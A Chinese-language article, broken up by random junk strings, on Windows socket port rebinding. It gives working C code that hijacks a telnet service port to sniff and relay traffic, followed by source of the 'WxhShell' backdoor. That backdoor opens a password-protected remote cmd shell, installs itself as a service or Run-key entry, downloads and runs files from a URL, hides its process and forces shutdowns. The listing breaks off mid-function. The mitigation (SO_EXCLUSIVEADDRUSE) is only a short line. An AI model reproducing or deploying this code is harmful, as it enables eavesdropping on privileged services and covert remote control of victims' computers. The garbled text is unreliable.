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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4Q`=t&u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f@xfb
ie! =J[[>H'<d saddr.sin_family = AF_INET; G,mH!lSm, ^&Rxui saddr.sin_addr.s_addr = htonl(INADDR_ANY); Dry;$C}P 0u&?Zy9& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .xc/2:m9 ]`i@~Z h\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 65`'Upu xjn8)C 这意味着什么?意味着可以进行如下的攻击: &Ow?Hd0 Q\/":ISq1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }9+1<mT9a/ /NN[gz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^6NABXL GYb2m"a) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Xw}Y!;<IEu /x8C70W^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 YV _I-l0 51;%\@= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _ry En @vYN7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4Z
T (!&O4C5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fi3(glgd- Kg0\Pvg8?T #include ZD] '$ #include *,XJN_DKj #include \g6 #MNW #include /wRK[i DWORD WINAPI ClientThread(LPVOID lpParam); 2T2#HP int main() d8q$&(]< { fdEj#Ux<H WORD wVersionRequested; )yH#*~X_ DWORD ret; /a/uS3& WSADATA wsaData; YU \t+/b BOOL val; Fe2-;o SOCKADDR_IN saddr; ve]95w9J SOCKADDR_IN scaddr; jw%FZ int err; Ywb)h^{! SOCKET s; ?(L?X&)v SOCKET sc; *Lk&@(
int caddsize; n\)f.}YD8d HANDLE mt; !I+u/f?TO7 DWORD tid; McI4oD~" wVersionRequested = MAKEWORD( 2, 2 ); ]{,=mOk err = WSAStartup( wVersionRequested, &wsaData ); OZ]3OL, if ( err != 0 ) { }sNZQ89V*v printf("error!WSAStartup failed!\n"); M@z/gy^ return -1; <YNPhu~5 } J0) WRn"h saddr.sin_family = AF_INET; a}]@o" 9-<V%eNX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xF>w r
r =]k_Oq-1h saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NP(?[W saddr.sin_port = htons(23); 3~09)0"!d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !g:G{b { T`DlOi]Z_ printf("error!socket failed!\n"); 2F(\ }%UT~ return -1; BTQC1;;N } 1{glRY' val = TRUE; |,~A9 //SO_REUSEADDR选项就是可以实现端口重绑定的 (NV=YX?s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I8>1RXz { *iN]#)3> printf("error!setsockopt failed!\n"); H;te)km} return -1; W n mRRq^ } ~PvzUT-^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Re ur#K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r?>Hg+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .F|WQ7Mu 9r*T3=u.S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [uV/ Ra*g { ~ ?_Z!eS ret=GetLastError(); srA~gzF printf("error!bind failed!\n"); 5gEWLLDp return -1; ~"B[6^sW } hfc!M2/w listen(s,2); 6Ky"4\e while(1) "Jd1&FsCwX { nxRrmR}F caddsize = sizeof(scaddr); _n gMC]-T //接受连接请求 SSC!BcC1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1mM52q.R4 if(sc!=INVALID_SOCKET) p7tC~]r:L { a5&j=3)| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); # nhAW if(mt==NULL) nClU5 { 03;(v% printf("Thread Creat Failed!\n"); %;J`dM break; V(0[QA } ylJlICK } |7fBiVo CloseHandle(mt); Br??Gdd } 1 j8,Zrg1 closesocket(s); Ymvd=F WSACleanup(); 5+Ut]AL5 return 0; V [>5 } U7=Z.*/62 DWORD WINAPI ClientThread(LPVOID lpParam) _v,n~a}& { 8hT>)WH}wo SOCKET ss = (SOCKET)lpParam; jL1UPN SOCKET sc; S3fBZIPp unsigned char buf[4096]; UW3F) SOCKADDR_IN saddr; 2S/ 7f: long num; Q0-~&e_' DWORD val; VGIc|Q=F DWORD ret; }J`Gm //如果是隐藏端口应用的话,可以在此处加一些判断 VxoMK7'O=/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 1[ Pbsb saddr.sin_family = AF_INET; +`FY saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M}u2aW2]X saddr.sin_port = htons(23); -9EbU7>! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g9JtWgu { +L6$Xm5DAv printf("error!socket failed!\n"); NKws;/u return -1; }Of^Y@{q. } ;Wdo* ysW val = 100; |zE7W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XJ+sm^`vOf { ^M"g5+q ret = GetLastError(); 7=9jXNk Y return -1; "+AD+D } 1+'3{m \5T if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lk|/N^8M { o^D{WH\p ret = GetLastError(); rxA<\h,A return -1; .:}\Z27-c } ux=@"!PJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r|+Zni] { 2Xosj(H printf("error!socket connect failed!\n"); )XFMlSx) closesocket(sc); $8)/4P?OL closesocket(ss); :([,vO: return -1; =0S7tNut } 9 +6"<r! while(1) #,sJd ^uI { 0#G"{M //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |j;`;"+B //如果是嗅探内容的话,可以再此处进行内容分析和记录 w}iflAnjq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4'M#m|V num = recv(ss,buf,4096,0); 7^1ikmYY if(num>0) Dqki}k~{ send(sc,buf,num,0); W!g
, else if(num==0) .|K5b]na break; -{?Rq'H num = recv(sc,buf,4096,0); 9iUw7-) if(num>0)
J0`?g6aY send(ss,buf,num,0); fN9hBC@ else if(num==0) DE[y&]/C{ break; EpiagCS } ${?Px
c{- closesocket(ss); {VFpfo closesocket(sc); `JC!uc return 0 ; x-"7{@lz
} 6-o Qs? 975KRnj tC;D4i ========================================================== |:AjQ&PM) 0Bll6Rd 下边附上一个代码,,WXhSHELL (mzyA%;W Y=5hm ========================================================== ka (xU#; pG
(8VteH #include "stdafx.h" N.fIg Gce![<|ph #include <stdio.h> 3TJNlS #include <string.h> |i|O9^*% #include <windows.h> %c&h:7); #include <winsock2.h> aW"BN 5eM> #include <winsvc.h> }5A?WH_ #include <urlmon.h> hfY2pG9N Q<M>+U;t #pragma comment (lib, "Ws2_32.lib") P\Ka'i #pragma comment (lib, "urlmon.lib") ;2U`?" F:n7yey #define MAX_USER 100 // 最大客户端连接数 CkOd>Kn #define BUF_SOCK 200 // sock buffer 6(eyUgnb #define KEY_BUFF 255 // 输入 buffer [ [Z*n/tr B${Q Y)t #define REBOOT 0 // 重启 KjhOz%Yt[o #define SHUTDOWN 1 // 关机 m49)c K? gg<lWeS/3 #define DEF_PORT 5000 // 监听端口 Mq-;sPsFP -(Yq$5Zc& #define REG_LEN 16 // 注册表键长度 LnLuWr<;} #define SVC_LEN 80 // NT服务名长度 b8Y-!]F 6L8wsz CW // 从dll定义API hivWQ$6% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U1I2+;"#A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ) !3sB{H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %?K'egkp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }s? 9Hnqa p?ICZg: // wxhshell配置信息 G/b
$cO} struct WSCFG { h^cM#L^B int ws_port; // 监听端口 ]5wc8Kh" char ws_passstr[REG_LEN]; // 口令 Oo$i,|$$ int ws_autoins; // 安装标记, 1=yes 0=no ih~ R?W char ws_regname[REG_LEN]; // 注册表键名
2>p>AvcK char ws_svcname[REG_LEN]; // 服务名 4/cUd=>Z char ws_svcdisp[SVC_LEN]; // 服务显示名 r"c<15g2' char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ubv<3syR' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IvO#tI int ws_downexe; // 下载执行标记, 1=yes 0=no !2=<MO char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" BVU>M*k char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DYx3NDX7 8a)lrIg }; 4+Wti!s "5,'K~hz // default Wxhshell configuration c3lU struct WSCFG wscfg={DEF_PORT, /d*d'3{c "xuhuanlingzhe", kocgPO5 1, )CKPzNf "Wxhshell", z&Cz!HrS "Wxhshell", ]2Zl\}GwY "WxhShell Service", WS6'R "Wrsky Windows CmdShell Service", d0YDNP%,_ "Please Input Your Password: ", GKIO@!@[ 1, $b OiP " http://www.wrsky.com/wxhshell.exe", Yv>kToa\^ "Wxhshell.exe" u7L&cx }; #TS:|= C%H{" // 消息定义模块 UU'0WIbY6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ce_k&[AJF char *msg_ws_prompt="\n\r? for help\n\r#>"; #g=7fu{n: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ZD ~ra7 char *msg_ws_ext="\n\rExit."; VH M&Y-G char *msg_ws_end="\n\rQuit."; i24t$7q char *msg_ws_boot="\n\rReboot..."; iC2``[m" char *msg_ws_poff="\n\rShutdown..."; Q,v/]bXd char *msg_ws_down="\n\rSave to "; H< 51dJn~ JCO+_d#x char *msg_ws_err="\n\rErr!"; #|8Ia:=s char *msg_ws_ok="\n\rOK!"; mSeCXCrZlI h>k[ char ExeFile[MAX_PATH]; FNlS)Bs int nUser = 0; 4]G J+a HANDLE handles[MAX_USER]; 6pP:Q_U$ int OsIsNt; 4Dy|YH$>S "rA-u)Te SERVICE_STATUS serviceStatus; [|A;{F# SERVICE_STATUS_HANDLE hServiceStatusHandle; m)Ta5w^ hU'h78bt( // 函数声明 \:-"? int Install(void); Z2a~1BL int Uninstall(void); Y]VLouzl int DownloadFile(char *sURL, SOCKET wsh); 3FY87R int Boot(int flag); >)^Q p- void HideProc(void); X{Ij30Bmv int GetOsVer(void); +N}yqgE int Wxhshell(SOCKET wsl); |W*#N8IP void TalkWithClient(void *cs); ^|%u%UR int CmdShell(SOCKET sock); 'C7$,H' int StartFromService(void); \&/V p` int StartWxhshell(LPSTR lpCmdLine); "O~7s} O\F$~YQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); = IJ}b=: VOID WINAPI NTServiceHandler( DWORD fdwControl ); uN&UYJ'B [>D5(O // 数据结构和表定义 \AeM=K6q+D SERVICE_TABLE_ENTRY DispatchTable[] = H
S)$|m_ { XM f>B| {wscfg.ws_svcname, NTServiceMain}, Gv&%cq1 {NULL, NULL} I= 2jQ>$Q }; >N~orSw% t|P+^SL // 自我安装 }_=h]|6t int Install(void) tH=jaFJ { m
yy*rt char svExeFile[MAX_PATH]; 6<fcG HKEY key; wEZieHw strcpy(svExeFile,ExeFile); "m>BE v]\T&w%9 // 如果是win9x系统,修改注册表设为自启动 c+{ ar^)* if(!OsIsNt) { 7jw5'`;)" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :28[k~.bo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .=N ?;i RegCloseKey(key); WCY5F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %$_Y"82 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Uu[nUJ RegCloseKey(key); </pt($ return 0; 'w0?- } i0u`J } xb2j
|KY7 } &Qe2
}e$ else { +~EnrrT+W jx'hxC'3 // 如果是NT以上系统,安装为系统服务 9*P-k.Bl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #y'p4Xf if (schSCManager!=0) OaKr_m { =zR9^k SC_HANDLE schService = CreateService YZAQt*x ( ~x[(1 schSCManager, JQ|*XU wscfg.ws_svcname, ^fV-m&F)K* wscfg.ws_svcdisp, {Y3:Y+2X3* SERVICE_ALL_ACCESS, /.(~=6o5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XZ2 ji_D SERVICE_AUTO_START, E5?$=cL? SERVICE_ERROR_NORMAL, 7Y)i>[u3 svExeFile, Tv `& NULL, cfPp>EK NULL, G.r=fNP NULL, He%v 4S NULL, MAp#1+k NULL Tkn8Wj ); qC-4X"y+ if (schService!=0) l
GJ N;G7 { Y-,S_59 CloseServiceHandle(schService); @vL0gzE?nB CloseServiceHandle(schSCManager); h*Mt{A&'.& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0>"y)T3 strcat(svExeFile,wscfg.ws_svcname); 1d$wP$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2&=CC4<!d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L3\(<[ RegCloseKey(key); J\N&u# return 0; *q;83\ } qW /&. } )` S5>[6 CloseServiceHandle(schSCManager); #bCUI*N"P } ,Xg^rV~] } 4pZKm-dM^ >;#rK@*& return 1; \=$G94% } ItVVI"- ,Y16m{<eC // 自我卸载 S_^;#=_c int Uninstall(void) 7jr+jNsowj { ztAC3,r] HKEY key; *^XMf \w&R`;b8w if(!OsIsNt) { We*uZ?+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2IP<6l8N RegDeleteValue(key,wscfg.ws_regname);
C+_UIx]A RegCloseKey(key); CYsLyk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I,"q:QS+ RegDeleteValue(key,wscfg.ws_regname); Zqv RegCloseKey(key); fhha-J return 0; _,? xc" } W"\+jHF" } jaIcIc=Pf } R?dMM else { )`2ncb
Y=H_U$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s7\Ee-x)s if (schSCManager!=0) JdUI:( { :*R+ee,&- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 32pPeYxB!- if (schService!=0) ]ki) (Bb { IR&b2FTcU if(DeleteService(schService)!=0) { rT[b ^l} CloseServiceHandle(schService); ? :A%$T CloseServiceHandle(schSCManager); '5A&c( return 0; (Zej\lEN } KI].T+I CloseServiceHandle(schService); QHsJo|. } 0d89>UB-8q CloseServiceHandle(schSCManager); #%/Jr 52< } Gs4t6+Al } qWXw*d1] rKTc6h:) return 1; '$4&q629d } %fXgV\xY kLXa1^Lq // 从指定url下载文件 31F^ 38 int DownloadFile(char *sURL, SOCKET wsh) DZ:$p. { @HY P_hR HRESULT hr; q AsTiT6r char seps[]= "/"; zQB1C char *token; f%P#. char *file; 0}e&ONDQ char myURL[MAX_PATH]; yb\!4ml char myFILE[MAX_PATH]; gRw? <U^ ;0Ih:YY6 strcpy(myURL,sURL); ?}S~cgL - token=strtok(myURL,seps); oJc7az while(token!=NULL) &$h#9 { PpSQf14, file=token; ,8DjQz0ZPo token=strtok(NULL,seps); Ng*O/g`%L } m$g{& Re1}aLd GetCurrentDirectory(MAX_PATH,myFILE); )X6I#q8 strcat(myFILE, "\\"); y#nyH0U strcat(myFILE, file); D/z*F8'c send(wsh,myFILE,strlen(myFILE),0); oP:OurX8V send(wsh,"...",3,0); o KY0e&5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DRRy5+,I if(hr==S_OK) [h.i,%Ua"P return 0; , lBHA+@ else Gd|jE return 1; 4EhWK;ra
JNI&]3[C>? } G.^^zmsM` QQ99sy // 系统电源模块 !!])~+4pP int Boot(int flag) h|EHK!<"8 { W)`H(J HANDLE hToken; `t7GYmw^# TOKEN_PRIVILEGES tkp; v5L#H=P -)e(Qt#ewl if(OsIsNt) { 6h&i<-> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wNl "y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); = Fwzm^}6 tkp.PrivilegeCount = 1; ,(kaC.Em tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v2>Dn=V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V|;os if(flag==REBOOT) { G+NTn\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _9z+xl return 0;
zzX9Q: } rTeADu_vf else { .j`8E^7< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =CL h<& return 0; f'u[G?C } pF:C } *35o$P46 else { !6*4^$i#o if(flag==REBOOT) { eie u|_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :;o?d&C return 0; t=dZM}wj_\ } n:%A4* else { {G _|gs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2*0n#"
L return 0; Q0TKM> } iBqIV } l4q7,%G 4,ewp coC% return 1; W u693< } fU4{4M+9" Bzr}+J // win9x进程隐藏模块 *9}~?#b void HideProc(void) i-&"1D[& { GoG_4:^#h 6
ZVD<C :\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f2{qj5 K if ( hKernel != NULL ) f8L3+u { -o sxKT: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zKaEh
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A>}]=Ii/ FreeLibrary(hKernel); c]:@y"W5$ } Rj,M|9Y)o X] t * return; Re'Ek } pPZ^T5-ks NKw}VW'| // 获取操作系统版本 `jCq`-. int GetOsVer(void) tqK}KL { ,5Tw5<S OSVERSIONINFO winfo; R$VeD1n@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hxd^oE GetVersionEx(&winfo); =_H)5I_\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cl3hpqv1I return 1; = DXvt5G else .ZOyZnr
Z return 0; .AZ+|?d } z50f$!? Nh\y@\F> // 客户端句柄模块 *gXm&/2* int Wxhshell(SOCKET wsl) _k.gVm { Zu %oIk SOCKET wsh; p=J9N-EM struct sockaddr_in client; G6x 2!Ny DWORD myID; nzORG
) XHcrm& while(nUser<MAX_USER) J'y*>dW { H0i\#)Xs int nSize=sizeof(client); f^X\ N/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %uLyL4*L(p if(wsh==INVALID_SOCKET) return 1; W4(O2RU XG}pp`{o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c F(]`49( if(handles[nUser]==0) o(@F37r{? closesocket(wsh); )ozN{&B6 else ^~dvA)bH nUser++; r3b~|O^} } W=~H_L?/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I:aG(8Bi)H 'Kj8X{BSFb return 0; ~ Qt$) } lEC58`Ws 4q<:%
0M| // 关闭 socket jTx,5s- void CloseIt(SOCKET wsh) c!%:f^7g { 2v<[XNX closesocket(wsh); %R{clbbbn nUser--; :Y [r^=> ExitThread(0); 7>m#Y'ppl@ } ? I}T[j rLcQG // 客户端请求句柄 |7I.DBjR; void TalkWithClient(void *cs) Q'^]lVY { C6eo n4Ut O!uB|* SOCKET wsh=(SOCKET)cs; x9HA^Rj4- char pwd[SVC_LEN]; YAZ=-@]`\ char cmd[KEY_BUFF];
)[)-.{q char chr[1]; 6#5@d^a int i,j; 9bXU!l[ zq]V6.]J while (nUser < MAX_USER) { u6jJf@!ws fp4 d?3G if(wscfg.ws_passstr) { rsP-?oD8) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dl/UZ@8pl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lLtC9: //ZeroMemory(pwd,KEY_BUFF); fC%;|V'Nd i=0; n*iaNaU"' while(i<SVC_LEN) { QbqLj>-AJ _zm<[0( // 设置超时 Q:VD2<2 fd_set FdRead; L +. K}w struct timeval TimeOut; ? *I9 FD_ZERO(&FdRead); %v~j10e FD_SET(wsh,&FdRead); ~`_nw5y TimeOut.tv_sec=8; -07(#> TimeOut.tv_usec=0; 6x/ X8zu int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <)n
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z*]n]eS 9f l !CG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D|-]"(2i pwd =chr[0]; //Tr=!TQu if(chr[0]==0xd || chr[0]==0xa) { o~>p=5t pwd=0; N{p2@_fnB break; A7b7IM [ } [V jd)% i++; Dh +^;dQ6 } ^<|If:| tfv]AC7x // 如果是非法用户,关闭 socket W+K=M*^D;c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'pm2C6AC } {8B\-LUR =$`DBLX send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p-(Z[G* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]-PF? 8 <&L;9fr while(1) { s9 E:6 ap6Vmp ZeroMemory(cmd,KEY_BUFF); }lxvXVc{I
|[{;*wtv // 自动支持客户端 telnet标准 ZXUe4@qfl j=0; |y:DLsom?i while(j<KEY_BUFF) { E$ngmm[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~hxB Pn." cmd[j]=chr[0]; "rKIXy if(chr[0]==0xa || chr[0]==0xd) { 4
^+hw; cmd[j]=0; pKH4?F break; _ma4 } .y\HQ^j j++; I Mv^ 9T: } ;Q"F@v}18 d#b{4zF" // 下载文件 H_AV 3
; if(strstr(cmd,"http://")) { }DM2#E`_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fhsmpe~ if(DownloadFile(cmd,wsh)) b?bYPN+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4vX]c else bNaUzM!,H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kCC9U_dj, } @NHRuk+ else { L$Leo6<3a _kx switch(cmd[0]) { t!T}Pg(Bo ,|4Ye // 帮助 /SUV'J) case '?': { dq8 /^1P send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &S3W/lQs break; (wlsn6h } 3N
bn|_`( // 安装 d=#p w*w case 'i': { ^kl9U+ if(Install()) hKTg~y^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); E&>,B81 else 38m%ifh) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NDOZ!`LqH break; NqZRS>60v } ,Mhe:^3 // 卸载 +_gT|vlU case 'r': { @*DIB+K if(Uninstall()) {a3kn\6H0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 `!Q-G7 else &1p8#i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); reA8=>b/ break; t>wxK
, } H{f_:z{{ // 显示 wxhshell 所在路径 @:7gHRJ! case 'p': { P*PL6UQ char svExeFile[MAX_PATH]; p0rwiBC=q strcpy(svExeFile,"\n\r"); 4Z}bw# strcat(svExeFile,ExeFile); s3M84w z send(wsh,svExeFile,strlen(svExeFile),0); u!uDu,y break; MA+-2pMc|7 } :6u3Mj{ // 重启 s3-ktZ@ case 'b': { <s-@!8*( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m IzBK]@^ if(Boot(REBOOT)) aE BP9RX}z send(wsh,msg_ws_err,strlen(msg_ws_err),0); KupMndK else { M_1Tx closesocket(wsh); gOyY#]g ExitThread(0); T'M66kg } !/}FPM_ break; A'(7VJ } qd+[ShrhqZ // 关机 h_~|O[5|) case 'd': { S7kT3zB send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +V9B if(Boot(SHUTDOWN)) bw<w
u}ED send(wsh,msg_ws_err,strlen(msg_ws_err),0); atf%7}2 else { ~u0xXfv# closesocket(wsh); *e<Eu>fW#& ExitThread(0); #\;>8 } YvruK:I break; ,iVPcza } ~"0@u // 获取shell 5ttMua <G? case 's': { Q)S>VDLA CmdShell(wsh); Yu^H*b closesocket(wsh); EF=dXm/\ ExitThread(0); Wu!t C break; "XNu-_$N<a } Mi}I0yhVm // 退出 VI24+h'J case 'x': {
Znta#G0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VD24X CloseIt(wsh); 9&%#nN4`8 break; C.>
} h}|6VJ@. // 离开 >`89N'lZBm case 'q': { /zG+] send(wsh,msg_ws_end,strlen(msg_ws_end),0); ku9@&W+ closesocket(wsh);
j/9WOIfa WSACleanup(); mP pvZ exit(1); SFn 3$ rh break; tqf&N0*
} $J"%I$%X= } BR36}iS;V } 'Y!pY]Z ]4Y/x i- // 提示信息 Dz`k[mI if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M!gBmQZ1 } py{eX`(MS } '@TI48 J+ Hz?!BV0 return; F>dwL bnb } 4\N_ G
@ ~BZXt7DE // shell模块句柄 zF5q=9 4$ int CmdShell(SOCKET sock) [ -ISR7D { B0oxCc/'sZ STARTUPINFO si; s`hav ZeroMemory(&si,sizeof(si)); 3J%V%}mD si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XFW5AP si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4xm&pQo{V6 PROCESS_INFORMATION ProcessInfo; /_V'DJV char cmdline[]="cmd"; GQN98Y+h CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]9jZndgC return 0; 4\M8BRuE } -(*nSD9 BhKO_wQ?:J // 自身启动模式 pOm@b`S% int StartFromService(void) {odA[H { D?e"U_ typedef struct (ZV;$N-t { kMy<G8 s DWORD ExitStatus; AD]e0_E DWORD PebBaseAddress; FV
A
UR DWORD AffinityMask; M% @ DWORD BasePriority; "B#Y- ULONG UniqueProcessId; Z_FNIM0f ULONG InheritedFromUniqueProcessId; 0q{[\51*
} PROCESS_BASIC_INFORMATION; `(!NYx `<^*jB@P PROCNTQSIP NtQueryInformationProcess; ~%s}S Ep mJWbU static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pI>*u ]x static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3 jF|Ic >AG^fUArH HANDLE hProcess; cZ|lCy^ PROCESS_BASIC_INFORMATION pbi; SK+@HnKd vX+.e1m HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >
